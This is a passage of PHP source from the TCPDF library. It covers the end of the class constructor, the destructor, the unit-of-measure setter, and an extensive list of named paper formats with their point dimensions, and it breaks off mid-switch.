$this->pdfproducer = "\x54\x43\x50\x44\x46\x20".$this->tcpdf_version."\x20\x28\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x74\x63\x70\x64\x66\x2e\x6f\x72\x67\x29"; $this->tcpdflink = true; $this->encoding = $encoding; $this->HREF = array(); $this->getFontsList(); $this->fgcolor = array('R' => 0, 'G' => 0, 'B' => 0); $this->strokecolor = array('R' => 0, 'G' => 0, 'B' => 0); $this->bgcolor = array('R' => 255, 'G' => 255, 'B' => 255); $this->extgstates = array(); $this->setTextShadow(); // user's rights $this->sign = false; $this->ur['enabled'] = false; $this->ur['document'] = '/FullSave'; $this->ur['annots'] = '/Create/Delete/Modify/Copy/Import/Export'; $this->ur['form'] = '/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate'; $this->ur['signature'] = '/Modify'; $this->ur['ef'] = '/Create/Delete/Modify/Import'; $this->ur['formex'] = ''; $this->signature_appearance = array('page' => 1, 'rect' => '0 0 0 0'); $this->empty_signature_appearance = array(); // set default JPEG quality $this->jpeg_quality = 75; // initialize some settings $this->utf8Bidi(array(''), ''); // set default font $this->SetFont($this->FontFamily, $this->FontStyle, $this->FontSizePt); // check if PCRE Unicode support is enabled if ($this->isunicode AND (@preg_match('/\pL/u', 'a') == 1)) { // PCRE unicode support is turned ON // \p{Z} or \p{Separator}: any kind of Unicode whitespace or invisible separator. // \p{Lo} or \p{Other_Letter}: a Unicode letter or ideograph that does not have lowercase and uppercase variants. // \p{Lo} is needed because Chinese characters are packed next to each other without spaces in between. //$this->setSpacesRE('/[^\S\P{Z}\P{Lo}\xa0]/u'); $this->setSpacesRE('/[^\S\P{Z}\xa0]/u'); } else { // PCRE unicode support is turned OFF $this->setSpacesRE('/[^\S\xa0]/'); } $this->default_form_prop = array('lineWidth'=>1, 'borderStyle'=>'solid', 'fillColor'=>array(255, 255, 255), 'strokeColor'=>array(128, 128, 128)); // set file ID for trailer $serformat = (is_array($format) ? serialize($format) : $format); $this->file_id = md5($this->getRandomSeed('TCPDF'.$orientation.$unit.$serformat.$encoding)); // set document creation and modification timestamp $this->doc_creation_timestamp = time(); $this->doc_modification_timestamp = $this->doc_creation_timestamp; // get default graphic vars $this->default_graphic_vars = $this->getGraphicVars(); $this->header_xobj_autoreset = false; $this->custom_xmp = ''; } /** * Default destructor. * @public * @since 1.53.0.TC016 */ public function __destruct() { // restore internal encoding if (isset($this->internal_encoding) AND !empty($this->internal_encoding)) { mb_internal_encoding($this->internal_encoding); } // unset all class variables $this->_destroy(true); } /** * Return the current TCPDF version. * @return TCPDF version string * @public * @since 5.9.012 (2010-11-10) */ public function getTCPDFVersion() { return $this->tcpdf_version; } /** * Set the units of measure for the document. * @param $unit (string) User measure unit. Possible values are:<ul><li>pt: point</li><li>mm: millimeter (default)</li><li>cm: centimeter</li><li>in: inch</li></ul><br />A point equals 1/72 of inch, that is to say about 0.35 mm (an inch being 2.54 cm). This is a very common unit in typography; font sizes are expressed in that unit. * @public * @since 3.0.015 (2008-06-06) */ public function setPageUnit($unit) { $unit = strtolower($unit); //Set scale factor switch ($unit) { // points case 'px': case 'pt': { $this->k = 1; break; } // millimeters case 'mm': { $this->k = $this->dpi / 25.4; break; } // centimeters case 'cm': { $this->k = $this->dpi / 2.54; break; } // inches case 'in': { $this->k = $this->dpi; break; } // unsupported unit default : { $this->Error('Incorrect unit: '.$unit); break; } } $this->pdfunit = $unit; if (isset($this->CurOrientation)) { $this->setPageOrientation($this->CurOrientation); } } /** * Get page dimensions from format name. * @param $format (mixed) The format name. It can be: <ul> * <li><b>ISO 216 A Series + 2 SIS 014711 extensions</b></li> * <li>A0 (841x1189 mm ; 33.11x46.81 in)</li> * <li>A1 (594x841 mm ; 23.39x33.11 in)</li> * <li>A2 (420x594 mm ; 16.54x23.39 in)</li> * <li>A3 (297x420 mm ; 11.69x16.54 in)</li> * <li>A4 (210x297 mm ; 8.27x11.69 in)</li> * <li>A5 (148x210 mm ; 5.83x8.27 in)</li> * <li>A6 (105x148 mm ; 4.13x5.83 in)</li> * <li>A7 (74x105 mm ; 2.91x4.13 in)</li> * <li>A8 (52x74 mm ; 2.05x2.91 in)</li> * <li>A9 (37x52 mm ; 1.46x2.05 in)</li> * <li>A10 (26x37 mm ; 1.02x1.46 in)</li> * <li>A11 (18x26 mm ; 0.71x1.02 in)</li> * <li>A12 (13x18 mm ; 0.51x0.71 in)</li> * <li><b>ISO 216 B Series + 2 SIS 014711 extensions</b></li> * <li>B0 (1000x1414 mm ; 39.37x55.67 in)</li> * <li>B1 (707x1000 mm ; 27.83x39.37 in)</li> * <li>B2 (500x707 mm ; 19.69x27.83 in)</li> * <li>B3 (353x500 mm ; 13.90x19.69 in)</li> * <li>B4 (250x353 mm ; 9.84x13.90 in)</li> * <li>B5 (176x250 mm ; 6.93x9.84 in)</li> * <li>B6 (125x176 mm ; 4.92x6.93 in)</li> * <li>B7 (88x125 mm ; 3.46x4.92 in)</li> * <li>B8 (62x88 mm ; 2.44x3.46 in)</li> * <li>B9 (44x62 mm ; 1.73x2.44 in)</li> * <li>B10 (31x44 mm ; 1.22x1.73 in)</li> * <li>B11 (22x31 mm ; 0.87x1.22 in)</li> * <li>B12 (15x22 mm ; 0.59x0.87 in)</li> * <li><b>ISO 216 C Series + 2 SIS 014711 extensions + 2 EXTENSION</b></li> * <li>C0 (917x1297 mm ; 36.10x51.06 in)</li> * <li>C1 (648x917 mm ; 25.51x36.10 in)</li> * <li>C2 (458x648 mm ; 18.03x25.51 in)</li> * <li>C3 (324x458 mm ; 12.76x18.03 in)</li> * <li>C4 (229x324 mm ; 9.02x12.76 in)</li> * <li>C5 (162x229 mm ; 6.38x9.02 in)</li> * <li>C6 (114x162 mm ; 4.49x6.38 in)</li> * <li>C7 (81x114 mm ; 3.19x4.49 in)</li> * <li>C8 (57x81 mm ; 2.24x3.19 in)</li> * <li>C9 (40x57 mm ; 1.57x2.24 in)</li> * <li>C10 (28x40 mm ; 1.10x1.57 in)</li> * <li>C11 (20x28 mm ; 0.79x1.10 in)</li> * <li>C12 (14x20 mm ; 0.55x0.79 in)</li> * <li>C76 (81x162 mm ; 3.19x6.38 in)</li> * <li>DL (110x220 mm ; 4.33x8.66 in)</li> * <li><b>SIS 014711 E Series</b></li> * <li>E0 (879x1241 mm ; 34.61x48.86 in)</li> * <li>E1 (620x879 mm ; 24.41x34.61 in)</li> * <li>E2 (440x620 mm ; 17.32x24.41 in)</li> * <li>E3 (310x440 mm ; 12.20x17.32 in)</li> * <li>E4 (220x310 mm ; 8.66x12.20 in)</li> * <li>E5 (155x220 mm ; 6.10x8.66 in)</li> * <li>E6 (110x155 mm ; 4.33x6.10 in)</li> * <li>E7 (78x110 mm ; 3.07x4.33 in)</li> * <li>E8 (55x78 mm ; 2.17x3.07 in)</li> * <li>E9 (39x55 mm ; 1.54x2.17 in)</li> * <li>E10 (27x39 mm ; 1.06x1.54 in)</li> * <li>E11 (19x27 mm ; 0.75x1.06 in)</li> * <li>E12 (13x19 mm ; 0.51x0.75 in)</li> * <li><b>SIS 014711 G Series</b></li> * <li>G0 (958x1354 mm ; 37.72x53.31 in)</li> * <li>G1 (677x958 mm ; 26.65x37.72 in)</li> * <li>G2 (479x677 mm ; 18.86x26.65 in)</li> * <li>G3 (338x479 mm ; 13.31x18.86 in)</li> * <li>G4 (239x338 mm ; 9.41x13.31 in)</li> * <li>G5 (169x239 mm ; 6.65x9.41 in)</li> * <li>G6 (119x169 mm ; 4.69x6.65 in)</li> * <li>G7 (84x119 mm ; 3.31x4.69 in)</li> * <li>G8 (59x84 mm ; 2.32x3.31 in)</li> * <li>G9 (42x59 mm ; 1.65x2.32 in)</li> * <li>G10 (29x42 mm ; 1.14x1.65 in)</li> * <li>G11 (21x29 mm ; 0.83x1.14 in)</li> * <li>G12 (14x21 mm ; 0.55x0.83 in)</li> * <li><b>ISO Press</b></li> * <li>RA0 (860x1220 mm ; 33.86x48.03 in)</li> * <li>RA1 (610x860 mm ; 24.02x33.86 in)</li> * <li>RA2 (430x610 mm ; 16.93x24.02 in)</li> * <li>RA3 (305x430 mm ; 12.01x16.93 in)</li> * <li>RA4 (215x305 mm ; 8.46x12.01 in)</li> * <li>SRA0 (900x1280 mm ; 35.43x50.39 in)</li> * <li>SRA1 (640x900 mm ; 25.20x35.43 in)</li> * <li>SRA2 (450x640 mm ; 17.72x25.20 in)</li> * <li>SRA3 (320x450 mm ; 12.60x17.72 in)</li> * <li>SRA4 (225x320 mm ; 8.86x12.60 in)</li> * <li><b>German DIN 476</b></li> * <li>4A0 (1682x2378 mm ; 66.22x93.62 in)</li> * <li>2A0 (1189x1682 mm ; 46.81x66.22 in)</li> * <li><b>Variations on the ISO Standard</b></li> * <li>A2_EXTRA (445x619 mm ; 17.52x24.37 in)</li> * <li>A3+ (329x483 mm ; 12.95x19.02 in)</li> * <li>A3_EXTRA (322x445 mm ; 12.68x17.52 in)</li> * <li>A3_SUPER (305x508 mm ; 12.01x20.00 in)</li> * <li>SUPER_A3 (305x487 mm ; 12.01x19.17 in)</li> * <li>A4_EXTRA (235x322 mm ; 9.25x12.68 in)</li> * <li>A4_SUPER (229x322 mm ; 9.02x12.68 in)</li> * <li>SUPER_A4 (227x356 mm ; 8.94x14.02 in)</li> * <li>A4_LONG (210x348 mm ; 8.27x13.70 in)</li> * <li>F4 (210x330 mm ; 8.27x12.99 in)</li> * <li>SO_B5_EXTRA (202x276 mm ; 7.95x10.87 in)</li> * <li>A5_EXTRA (173x235 mm ; 6.81x9.25 in)</li> * <li><b>ANSI Series</b></li> * <li>ANSI_E (864x1118 mm ; 34.00x44.00 in)</li> * <li>ANSI_D (559x864 mm ; 22.00x34.00 in)</li> * <li>ANSI_C (432x559 mm ; 17.00x22.00 in)</li> * <li>ANSI_B (279x432 mm ; 11.00x17.00 in)</li> * <li>ANSI_A (216x279 mm ; 8.50x11.00 in)</li> * <li><b>Traditional 'Loose' North American Paper Sizes</b></li> * <li>LEDGER, USLEDGER (432x279 mm ; 17.00x11.00 in)</li> * <li>TABLOID, USTABLOID, BIBLE, ORGANIZERK (279x432 mm ; 11.00x17.00 in)</li> * <li>LETTER, USLETTER, ORGANIZERM (216x279 mm ; 8.50x11.00 in)</li> * <li>LEGAL, USLEGAL (216x356 mm ; 8.50x14.00 in)</li> * <li>GLETTER, GOVERNMENTLETTER (203x267 mm ; 8.00x10.50 in)</li> * <li>JLEGAL, JUNIORLEGAL (203x127 mm ; 8.00x5.00 in)</li> * <li><b>Other North American Paper Sizes</b></li> * <li>QUADDEMY (889x1143 mm ; 35.00x45.00 in)</li> * <li>SUPER_B (330x483 mm ; 13.00x19.00 in)</li> * <li>QUARTO (229x279 mm ; 9.00x11.00 in)</li> * <li>FOLIO, GOVERNMENTLEGAL (216x330 mm ; 8.50x13.00 in)</li> * <li>EXECUTIVE, MONARCH (184x267 mm ; 7.25x10.50 in)</li> * <li>MEMO, STATEMENT, ORGANIZERL (140x216 mm ; 5.50x8.50 in)</li> * <li>FOOLSCAP (210x330 mm ; 8.27x13.00 in)</li> * <li>COMPACT (108x171 mm ; 4.25x6.75 in)</li> * <li>ORGANIZERJ (70x127 mm ; 2.75x5.00 in)</li> * <li><b>Canadian standard CAN 2-9.60M</b></li> * <li>P1 (560x860 mm ; 22.05x33.86 in)</li> * <li>P2 (430x560 mm ; 16.93x22.05 in)</li> * <li>P3 (280x430 mm ; 11.02x16.93 in)</li> * <li>P4 (215x280 mm ; 8.46x11.02 in)</li> * <li>P5 (140x215 mm ; 5.51x8.46 in)</li> * <li>P6 (107x140 mm ; 4.21x5.51 in)</li> * <li><b>North American Architectural Sizes</b></li> * <li>ARCH_E (914x1219 mm ; 36.00x48.00 in)</li> * <li>ARCH_E1 (762x1067 mm ; 30.00x42.00 in)</li> * <li>ARCH_D (610x914 mm ; 24.00x36.00 in)</li> * <li>ARCH_C, BROADSHEET (457x610 mm ; 18.00x24.00 in)</li> * <li>ARCH_B (305x457 mm ; 12.00x18.00 in)</li> * <li>ARCH_A (229x305 mm ; 9.00x12.00 in)</li> * <li><b>Announcement Envelopes</b></li> * <li>ANNENV_A2 (111x146 mm ; 4.37x5.75 in)</li> * <li>ANNENV_A6 (121x165 mm ; 4.75x6.50 in)</li> * <li>ANNENV_A7 (133x184 mm ; 5.25x7.25 in)</li> * <li>ANNENV_A8 (140x206 mm ; 5.50x8.12 in)</li> * <li>ANNENV_A10 (159x244 mm ; 6.25x9.62 in)</li> * <li>ANNENV_SLIM (98x225 mm ; 3.87x8.87 in)</li> * <li><b>Commercial Envelopes</b></li> * <li>COMMENV_N6_1/4 (89x152 mm ; 3.50x6.00 in)</li> * <li>COMMENV_N6_3/4 (92x165 mm ; 3.62x6.50 in)</li> * <li>COMMENV_N8 (98x191 mm ; 3.87x7.50 in)</li> * <li>COMMENV_N9 (98x225 mm ; 3.87x8.87 in)</li> * <li>COMMENV_N10 (105x241 mm ; 4.12x9.50 in)</li> * <li>COMMENV_N11 (114x263 mm ; 4.50x10.37 in)</li> * <li>COMMENV_N12 (121x279 mm ; 4.75x11.00 in)</li> * <li>COMMENV_N14 (127x292 mm ; 5.00x11.50 in)</li> * <li><b>Catalogue Envelopes</b></li> * <li>CATENV_N1 (152x229 mm ; 6.00x9.00 in)</li> * <li>CATENV_N1_3/4 (165x241 mm ; 6.50x9.50 in)</li> * <li>CATENV_N2 (165x254 mm ; 6.50x10.00 in)</li> * <li>CATENV_N3 (178x254 mm ; 7.00x10.00 in)</li> * <li>CATENV_N6 (191x267 mm ; 7.50x10.50 in)</li> * <li>CATENV_N7 (203x279 mm ; 8.00x11.00 in)</li> * <li>CATENV_N8 (210x286 mm ; 8.25x11.25 in)</li> * <li>CATENV_N9_1/2 (216x267 mm ; 8.50x10.50 in)</li> * <li>CATENV_N9_3/4 (222x286 mm ; 8.75x11.25 in)</li> * <li>CATENV_N10_1/2 (229x305 mm ; 9.00x12.00 in)</li> * <li>CATENV_N12_1/2 (241x318 mm ; 9.50x12.50 in)</li> * <li>CATENV_N13_1/2 (254x330 mm ; 10.00x13.00 in)</li> * <li>CATENV_N14_1/4 (286x311 mm ; 11.25x12.25 in)</li> * <li>CATENV_N14_1/2 (292x368 mm ; 11.50x14.50 in)</li> * <li><b>Japanese (JIS P 0138-61) Standard B-Series</b></li> * <li>JIS_B0 (1030x1456 mm ; 40.55x57.32 in)</li> * <li>JIS_B1 (728x1030 mm ; 28.66x40.55 in)</li> * <li>JIS_B2 (515x728 mm ; 20.28x28.66 in)</li> * <li>JIS_B3 (364x515 mm ; 14.33x20.28 in)</li> * <li>JIS_B4 (257x364 mm ; 10.12x14.33 in)</li> * <li>JIS_B5 (182x257 mm ; 7.17x10.12 in)</li> * <li>JIS_B6 (128x182 mm ; 5.04x7.17 in)</li> * <li>JIS_B7 (91x128 mm ; 3.58x5.04 in)</li> * <li>JIS_B8 (64x91 mm ; 2.52x3.58 in)</li> * <li>JIS_B9 (45x64 mm ; 1.77x2.52 in)</li> * <li>JIS_B10 (32x45 mm ; 1.26x1.77 in)</li> * <li>JIS_B11 (22x32 mm ; 0.87x1.26 in)</li> * <li>JIS_B12 (16x22 mm ; 0.63x0.87 in)</li> * <li><b>PA Series</b></li> * <li>PA0 (840x1120 mm ; 33.07x44.09 in)</li> * <li>PA1 (560x840 mm ; 22.05x33.07 in)</li> * <li>PA2 (420x560 mm ; 16.54x22.05 in)</li> * <li>PA3 (280x420 mm ; 11.02x16.54 in)</li> * <li>PA4 (210x280 mm ; 8.27x11.02 in)</li> * <li>PA5 (140x210 mm ; 5.51x8.27 in)</li> * <li>PA6 (105x140 mm ; 4.13x5.51 in)</li> * <li>PA7 (70x105 mm ; 2.76x4.13 in)</li> * <li>PA8 (52x70 mm ; 2.05x2.76 in)</li> * <li>PA9 (35x52 mm ; 1.38x2.05 in)</li> * <li>PA10 (26x35 mm ; 1.02x1.38 in)</li> * <li><b>Standard Photographic Print Sizes</b></li> * <li>PASSPORT_PHOTO (35x45 mm ; 1.38x1.77 in)</li> * <li>E (82x120 mm ; 3.25x4.72 in)</li> * <li>3R, L (89x127 mm ; 3.50x5.00 in)</li> * <li>4R, KG (102x152 mm ; 4.02x5.98 in)</li> * <li>4D (120x152 mm ; 4.72x5.98 in)</li> * <li>5R, 2L (127x178 mm ; 5.00x7.01 in)</li> * <li>6R, 8P (152x203 mm ; 5.98x7.99 in)</li> * <li>8R, 6P (203x254 mm ; 7.99x10.00 in)</li> * <li>S8R, 6PW (203x305 mm ; 7.99x12.01 in)</li> * <li>10R, 4P (254x305 mm ; 10.00x12.01 in)</li> * <li>S10R, 4PW (254x381 mm ; 10.00x15.00 in)</li> * <li>11R (279x356 mm ; 10.98x14.02 in)</li> * <li>S11R (279x432 mm ; 10.98x17.01 in)</li> * <li>12R (305x381 mm ; 12.01x15.00 in)</li> * <li>S12R (305x456 mm ; 12.01x17.95 in)</li> * <li><b>Common Newspaper Sizes</b></li> * <li>NEWSPAPER_BROADSHEET (750x600 mm ; 29.53x23.62 in)</li> * <li>NEWSPAPER_BERLINER (470x315 mm ; 18.50x12.40 in)</li> * <li>NEWSPAPER_COMPACT, NEWSPAPER_TABLOID (430x280 mm ; 16.93x11.02 in)</li> * <li><b>Business Cards</b></li> * <li>CREDIT_CARD, BUSINESS_CARD, BUSINESS_CARD_ISO7810 (54x86 mm ; 2.13x3.37 in)</li> * <li>BUSINESS_CARD_ISO216 (52x74 mm ; 2.05x2.91 in)</li> * <li>BUSINESS_CARD_IT, BUSINESS_CARD_UK, BUSINESS_CARD_FR, BUSINESS_CARD_DE, BUSINESS_CARD_ES (55x85 mm ; 2.17x3.35 in)</li> * <li>BUSINESS_CARD_US, BUSINESS_CARD_CA (51x89 mm ; 2.01x3.50 in)</li> * <li>BUSINESS_CARD_JP (55x91 mm ; 2.17x3.58 in)</li> * <li>BUSINESS_CARD_HK (54x90 mm ; 2.13x3.54 in)</li> * <li>BUSINESS_CARD_AU, BUSINESS_CARD_DK, BUSINESS_CARD_SE (55x90 mm ; 2.17x3.54 in)</li> * <li>BUSINESS_CARD_RU, BUSINESS_CARD_CZ, BUSINESS_CARD_FI, BUSINESS_CARD_HU, BUSINESS_CARD_IL (50x90 mm ; 1.97x3.54 in)</li> * <li><b>Billboards</b></li> * <li>4SHEET (1016x1524 mm ; 40.00x60.00 in)</li> * <li>6SHEET (1200x1800 mm ; 47.24x70.87 in)</li> * <li>12SHEET (3048x1524 mm ; 120.00x60.00 in)</li> * <li>16SHEET (2032x3048 mm ; 80.00x120.00 in)</li> * <li>32SHEET (4064x3048 mm ; 160.00x120.00 in)</li> * <li>48SHEET (6096x3048 mm ; 240.00x120.00 in)</li> * <li>64SHEET (8128x3048 mm ; 320.00x120.00 in)</li> * <li>96SHEET (12192x3048 mm ; 480.00x120.00 in)</li> * <li><b>Old Imperial English (some are still used in USA)</b></li> * <li>EN_EMPEROR (1219x1829 mm ; 48.00x72.00 in)</li> * <li>EN_ANTIQUARIAN (787x1346 mm ; 31.00x53.00 in)</li> * <li>EN_GRAND_EAGLE (730x1067 mm ; 28.75x42.00 in)</li> * <li>EN_DOUBLE_ELEPHANT (679x1016 mm ; 26.75x40.00 in)</li> * <li>EN_ATLAS (660x864 mm ; 26.00x34.00 in)</li> * <li>EN_COLOMBIER (597x876 mm ; 23.50x34.50 in)</li> * <li>EN_ELEPHANT (584x711 mm ; 23.00x28.00 in)</li> * <li>EN_DOUBLE_DEMY (572x902 mm ; 22.50x35.50 in)</li> * <li>EN_IMPERIAL (559x762 mm ; 22.00x30.00 in)</li> * <li>EN_PRINCESS (546x711 mm ; 21.50x28.00 in)</li> * <li>EN_CARTRIDGE (533x660 mm ; 21.00x26.00 in)</li> * <li>EN_DOUBLE_LARGE_POST (533x838 mm ; 21.00x33.00 in)</li> * <li>EN_ROYAL (508x635 mm ; 20.00x25.00 in)</li> * <li>EN_SHEET, EN_HALF_POST (495x597 mm ; 19.50x23.50 in)</li> * <li>EN_SUPER_ROYAL (483x686 mm ; 19.00x27.00 in)</li> * <li>EN_DOUBLE_POST (483x775 mm ; 19.00x30.50 in)</li> * <li>EN_MEDIUM (445x584 mm ; 17.50x23.00 in)</li> * <li>EN_DEMY (445x572 mm ; 17.50x22.50 in)</li> * <li>EN_LARGE_POST (419x533 mm ; 16.50x21.00 in)</li> * <li>EN_COPY_DRAUGHT (406x508 mm ; 16.00x20.00 in)</li> * <li>EN_POST (394x489 mm ; 15.50x19.25 in)</li> * <li>EN_CROWN (381x508 mm ; 15.00x20.00 in)</li> * <li>EN_PINCHED_POST (375x470 mm ; 14.75x18.50 in)</li> * <li>EN_BRIEF (343x406 mm ; 13.50x16.00 in)</li> * <li>EN_FOOLSCAP (343x432 mm ; 13.50x17.00 in)</li> * <li>EN_SMALL_FOOLSCAP (337x419 mm ; 13.25x16.50 in)</li> * <li>EN_POTT (318x381 mm ; 12.50x15.00 in)</li> * <li><b>Old Imperial Belgian</b></li> * <li>BE_GRAND_AIGLE (700x1040 mm ; 27.56x40.94 in)</li> * <li>BE_COLOMBIER (620x850 mm ; 24.41x33.46 in)</li> * <li>BE_DOUBLE_CARRE (620x920 mm ; 24.41x36.22 in)</li> * <li>BE_ELEPHANT (616x770 mm ; 24.25x30.31 in)</li> * <li>BE_PETIT_AIGLE (600x840 mm ; 23.62x33.07 in)</li> * <li>BE_GRAND_JESUS (550x730 mm ; 21.65x28.74 in)</li> * <li>BE_JESUS (540x730 mm ; 21.26x28.74 in)</li> * <li>BE_RAISIN (500x650 mm ; 19.69x25.59 in)</li> * <li>BE_GRAND_MEDIAN (460x605 mm ; 18.11x23.82 in)</li> * <li>BE_DOUBLE_POSTE (435x565 mm ; 17.13x22.24 in)</li> * <li>BE_COQUILLE (430x560 mm ; 16.93x22.05 in)</li> * <li>BE_PETIT_MEDIAN (415x530 mm ; 16.34x20.87 in)</li> * <li>BE_RUCHE (360x460 mm ; 14.17x18.11 in)</li> * <li>BE_PROPATRIA (345x430 mm ; 13.58x16.93 in)</li> * <li>BE_LYS (317x397 mm ; 12.48x15.63 in)</li> * <li>BE_POT (307x384 mm ; 12.09x15.12 in)</li> * <li>BE_ROSETTE (270x347 mm ; 10.63x13.66 in)</li> * <li><b>Old Imperial French</b></li> * <li>FR_UNIVERS (1000x1300 mm ; 39.37x51.18 in)</li> * <li>FR_DOUBLE_COLOMBIER (900x1260 mm ; 35.43x49.61 in)</li> * <li>FR_GRANDE_MONDE (900x1260 mm ; 35.43x49.61 in)</li> * <li>FR_DOUBLE_SOLEIL (800x1200 mm ; 31.50x47.24 in)</li> * <li>FR_DOUBLE_JESUS (760x1120 mm ; 29.92x44.09 in)</li> * <li>FR_GRAND_AIGLE (750x1060 mm ; 29.53x41.73 in)</li> * <li>FR_PETIT_AIGLE (700x940 mm ; 27.56x37.01 in)</li> * <li>FR_DOUBLE_RAISIN (650x1000 mm ; 25.59x39.37 in)</li> * <li>FR_JOURNAL (650x940 mm ; 25.59x37.01 in)</li> * <li>FR_COLOMBIER_AFFICHE (630x900 mm ; 24.80x35.43 in)</li> * <li>FR_DOUBLE_CAVALIER (620x920 mm ; 24.41x36.22 in)</li> * <li>FR_CLOCHE (600x800 mm ; 23.62x31.50 in)</li> * <li>FR_SOLEIL (600x800 mm ; 23.62x31.50 in)</li> * <li>FR_DOUBLE_CARRE (560x900 mm ; 22.05x35.43 in)</li> * <li>FR_DOUBLE_COQUILLE (560x880 mm ; 22.05x34.65 in)</li> * <li>FR_JESUS (560x760 mm ; 22.05x29.92 in)</li> * <li>FR_RAISIN (500x650 mm ; 19.69x25.59 in)</li> * <li>FR_CAVALIER (460x620 mm ; 18.11x24.41 in)</li> * <li>FR_DOUBLE_COURONNE (460x720 mm ; 18.11x28.35 in)</li> * <li>FR_CARRE (450x560 mm ; 17.72x22.05 in)</li> * <li>FR_COQUILLE (440x560 mm ; 17.32x22.05 in)</li> * <li>FR_DOUBLE_TELLIERE (440x680 mm ; 17.32x26.77 in)</li> * <li>FR_DOUBLE_CLOCHE (400x600 mm ; 15.75x23.62 in)</li> * <li>FR_DOUBLE_POT (400x620 mm ; 15.75x24.41 in)</li> * <li>FR_ECU (400x520 mm ; 15.75x20.47 in)</li> * <li>FR_COURONNE (360x460 mm ; 14.17x18.11 in)</li> * <li>FR_TELLIERE (340x440 mm ; 13.39x17.32 in)</li> * <li>FR_POT (310x400 mm ; 12.20x15.75 in)</li> * </ul> * @return array containing page width and height in points * @public * @since 5.0.010 (2010-05-17) */ public function getPageSizeFromFormat($format) { // Paper cordinates are calculated in this way: (inches * 72) where (1 inch = 25.4 mm) switch (strtoupper($format)) { // ISO 216 A Series + 2 SIS 014711 extensions case 'A0' : {$pf = array( 2383.937, 3370.394); break;} case 'A1' : {$pf = array( 1683.780, 2383.937); break;} case 'A2' : {$pf = array( 1190.551, 1683.780); break;} case 'A3' : {$pf = array( 841.890, 1190.551); break;} case 'A4' : {$pf = array( 595.276, 841.890); break;} case 'A5' : {$pf = array( 419.528, 595.276); break;} case 'A6' : {$pf = array( 297.638, 419.528); break;} case 'A7' : {$pf = array( 209.764, 297.638); break;} case 'A8' : {$pf = array( 147.402, 209.764); break;} case 'A9' : {$pf = array( 104.882, 147.402); break;} case 'A10': {$pf = array( 73.701, 104.882); break;} case 'A11': {$pf = array( 51.024, 73.701); break;} case 'A12': {$pf = array( 36.850, 51.024); break;} // ISO 216 B Series + 2 SIS 014711 extensions case 'B0' : {$pf = array( 2834.646, 4008.189); break;} case 'B1' : {$pf = array( 2004.094, 2834.646); break;} case 'B2' : {$pf = array( 1417.323, 2004.094); break;} case 'B3' : {$pf = array( 1000.630, 1417.323); break;} case 'B4' : {$pf = array( 708.661, 1000.630); break;} case 'B5' : {$pf = array( 498.898, 708.661); break;} case 'B6' : {$pf = array( 354.331, 498.898); break;} case 'B7' : {$pf = array( 249.449, 354.331); break;} case 'B8' : {$pf = array( 175.748, 249.449); break;} case 'B9' : {$pf = array( 124.724, 175.748); break;} case 'B10': {$pf = array( 87.874, 124.724); break;} case 'B11': {$pf = array( 62.362, 87.874); break;} case 'B12': {$pf = array( 42.520, 62.362); break;} // ISO 216 C Series + 2 SIS 014711 extensions + 2 EXTENSION case 'C0' : {$pf = array( 2599.370, 3676.535); break;} case 'C1' : {$pf = array( 1836.850, 2599.370); break;} case 'C2' : {$pf = array( 1298.268, 1836.850); break;} case 'C3' : {$pf = array( 918.425, 1298.268); break;} case 'C4' : {$pf = array( 649.134, 918.425); break;} case 'C5' : {$pf = array( 459.213, 649.134); break;} case 'C6' : {$pf = array( 323.150, 459.213); break;} case 'C7' : {$pf = array( 229.606, 323.150); break;} case 'C8' : {$pf = array( 161.575, 229.606); break;} case 'C9' : {$pf = array( 113.386, 161.575); break;} case 'C10': {$pf = array( 79.370, 113.386); break;} case 'C11': {$pf = array( 56.693, 79.370); break;} case 'C12': {$pf = array( 39.685, 56.693); break;} case 'C76': {$pf = array( 229.606, 459.213); break;} case 'DL' : {$pf = array( 311.811, 623.622); break;} // SIS 014711 E Series case 'E0' : {$pf = array( 2491.654, 3517.795); break;} case 'E1' : {$pf = array( 1757.480, 2491.654); break;} case 'E2' : {$pf = array( 1247.244, 1757.480); break;} case 'E3' : {$pf = array( 878.740, 1247.244); break;} case 'E4' : {$pf = array( 623.622, 878.740); break;} case 'E5' : {$pf = array( 439.370, 623.622); break;} case 'E6' : {$pf = array( 311.811, 439.370); break;} case 'E7' : {$pf = array( 221.102, 311.811); break;} case 'E8' : {$pf = array( 155.906, 221.102); break;} case 'E9' : {$pf = array( 110.551, 155.906); break;} case 'E10': {$pf = array( 76.535, 110.551); break;} case 'E11': {$pf = array( 53.858, 76.535); break;} case 'E12': {$pf = array( 36.850, 53.858); break;} // SIS 014711 G Series case 'G0' : {$pf = array( 2715.591, 3838.110); break;} case 'G1' : {$pf = array( 1919.055, 2715.591); break;} case 'G2' : {$pf = array( 1357.795, 1919.055); break;} case 'G3' : {$pf = array( 958.110, 1357.795); break;} case 'G4' : {$pf = array( 677.480, 958.110); break;} case 'G5' : {$pf = array( 479.055, 677.480); break;} case 'G6' : {$pf = array( 337.323, 479.055); break;} case 'G7' : {$pf = array( 238.110, 337.323); break;} case 'G8' : {$pf = array( 167.244, 238.110); break;} case 'G9' : {$pf = array( 119.055, 167.244); break;} case 'G10': {$pf = array( 82.205, 119.055); break;} case 'G11': {$pf = array( 59.528, 82.205); break;} case 'G12': {$pf = array( 39.685, 59.528); break;} // ISO Press case 'RA0': {$pf = array( 2437.795, 3458.268); break;} case 'RA1': {$pf = array( 1729.134, 2437.795); break;} case 'RA2': {$pf = array( 1218.898, 1729.134); break;} case 'RA3': {$pf = array( 864.567, 1218.898); break;} case 'RA4': {$pf = array( 609.449, 864.567); break;} case 'SRA0': {$pf = array( 2551.181, 3628.346); break;} case 'SRA1': {$pf = array( 1814.173, 2551.181); break;} case 'SRA2': {$pf = array( 1275.591, 1814.173); break;} case 'SRA3': {$pf = array( 907.087, 1275.591); break;} case 'SRA4': {$pf = array( 637.795, 907.087); break;} // German DIN 476 case '4A0': {$pf = array( 4767.874, 6740.787); break;} case '2A0': {$pf = array( 3370.394, 4767.874); break;} // Variations on the ISO Standard case 'A2_EXTRA' : {$pf = array( 1261.417, 1754.646); break;} case 'A3+' : {$pf = array( 932.598, 1369.134); break;} case 'A3_EXTRA' : {$pf = array( 912.756, 1261.417); break;} case 'A3_SUPER' : {$pf = array( 864.567, 1440.000); break;} case 'SUPER_A3' : {$pf = array( 864.567, 1380.472); break;} case 'A4_EXTRA' : {$pf = array( 666.142, 912.756); break;} case 'A4_SUPER' : {$pf = array( 649.134, 912.756); break;} case 'SUPER_A4' : {$pf = array( 643.465, 